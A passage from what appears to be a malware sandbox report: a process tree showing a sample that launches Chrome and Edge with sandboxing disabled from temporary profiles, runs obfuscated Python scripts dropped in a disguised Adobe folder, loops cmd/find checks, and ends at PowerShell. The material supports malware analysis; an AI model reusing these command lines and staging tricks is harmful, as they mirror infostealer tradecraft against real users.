        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --force-high-res-timeticks=disabled --metrics-shmem-handle=2024,i,10909102854469052074,14421509870916349413,524288 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:3
        9⤵
        System Time Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5696
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --force-high-res-timeticks=disabled --metrics-shmem-handle=2156,i,14013740043964226813,3758102523634086907,524288 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:8
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6052
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2940,i,16195159870571660201,15756761667030483494,2097152 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=2956 /prefetch:1
        9⤵
        
        PID:2628
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2964,i,2069540266371012665,6934153737540487455,2097152 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:1
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6112
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3356,i,15674900742709594342,14297535471951679277,2097152 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=3368 /prefetch:1
        9⤵
        
        PID:1880
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3380,i,8155093229723284689,476965427390535491,2097152 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=3372 /prefetch:2
        9⤵
        
        PID:1620
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3996,i,14545684940820987889,2385471760951332517,2097152 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=2968 /prefetch:2
        9⤵
        
        PID:2864
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4156,i,11935052953402484805,2476558825207680358,2097152 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=4168 /prefetch:1
        9⤵
        
        PID:5196
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --force-high-res-timeticks=disabled --metrics-shmem-handle=4188,i,17133783659156181732,12703595106448154315,524288 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:8
        9⤵
        
        PID:5136
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --force-high-res-timeticks=disabled --metrics-shmem-handle=4180,i,4866681188040078402,2176714622621471569,524288 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:8
        9⤵
        
        PID:3340
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zsqf24zb.1hl" --force-high-res-timeticks=disabled --metrics-shmem-handle=4232,i,2196051419953400731,7911043424420457921,524288 --field-trial-handle=1960,i,17722298201228433053,8730810276050411733,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:8
        9⤵
        
        PID:6140
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr"
        8⤵
        Enumerates system info in registry
        Suspicious use of FindShellTrayWindow
        
        PID:8728
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2ec,0x7ff83f4dc188,0x7ff83f4dc194,0x7ff83f4dc1a0
        9⤵
        
        PID:8940
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1640,i,13368386231619310104,106149583490847329,262144 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:2
        9⤵
        
        PID:6128
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1932,i,1671193305098825151,7005629433172780010,524288 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3
        9⤵
        System Time Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:8464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2344,i,2714334907524598673,6343637314070447620,524288 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:8
        9⤵
        
        PID:6172
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3092,i,13157727499463615144,5007055118100264115,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:1
        9⤵
        
        PID:8060
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3100,i,13210591689446015420,16549805334099820073,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:1
        9⤵
        
        PID:8328
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3572,i,10219549310871269403,1110185108802067234,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:1
        9⤵
        
        PID:9056
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3584,i,10937335977004464658,12148308316330848920,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:2
        9⤵
        
        PID:6536
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3604,i,8872021632486465264,3833426595013143036,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:1
        9⤵
        
        PID:7200
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3620,i,11273639046793979267,3507227134376574930,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:2
        9⤵
        
        PID:7352
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3672,i,4022914486659685532,13082936862934129402,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3772 /prefetch:1
        9⤵
        
        PID:7420
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3716,i,7876343379951326477,10084594887386463729,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3800 /prefetch:2
        9⤵
        
        PID:7484
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3736,i,3687437799146696462,12013871065181952373,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
        9⤵
        
        PID:7520
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3784,i,2743264677040585243,16742174341385484706,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:2
        9⤵
        
        PID:8704
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3824,i,16466309004450280233,7682456972670349322,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:1
        9⤵
        
        PID:8880
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3836,i,14901056629786500331,2112556200497130757,2097152 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=3908 /prefetch:2
        9⤵
        
        PID:9104
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4856,i,6496614348169029751,4617766164227903143,524288 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=4572 /prefetch:8
        9⤵
        
        PID:7060
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4912,i,10171475682349590543,3922178103003497703,524288 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:8
        9⤵
        
        PID:6372
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4884,i,10971186621680788653,18112585080510119456,524288 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:8
        9⤵
        
        PID:6764
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\tqsvhkff.wyr" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4572,i,3665981472651088715,10882143083665870960,524288 --field-trial-handle=2216,i,13737607425819412214,2986722506433323391,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:8
        9⤵
        
        PID:6912
      - C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:5712
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:6608
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:7852
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:6504
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:7588
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:6676
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:8848
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[92]exp.py "
        6⤵
        
        PID:7720
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:8468
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\ACSRE[92]exp.py"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:9172
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:6216
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:1888
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:7128
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:9876
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:7800
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:7412
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:7004
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:7732
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:9800
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:9872
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:9964
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:9992
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:10064
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:10104
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:10168
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:10204
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:6280
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:7408
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\ANAS[92]iexp.py"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:3736
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:6512
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:7440
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:7524
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:6716
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:6456
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:7736
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:9636
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:8668
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:8792
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:9588
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:7784
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:9620
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:9660
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:9736
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:9764
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:9812
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:9840
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:9900
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:9936
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:9984
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:10012
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:7356
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:7468
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:8428
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:8556
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
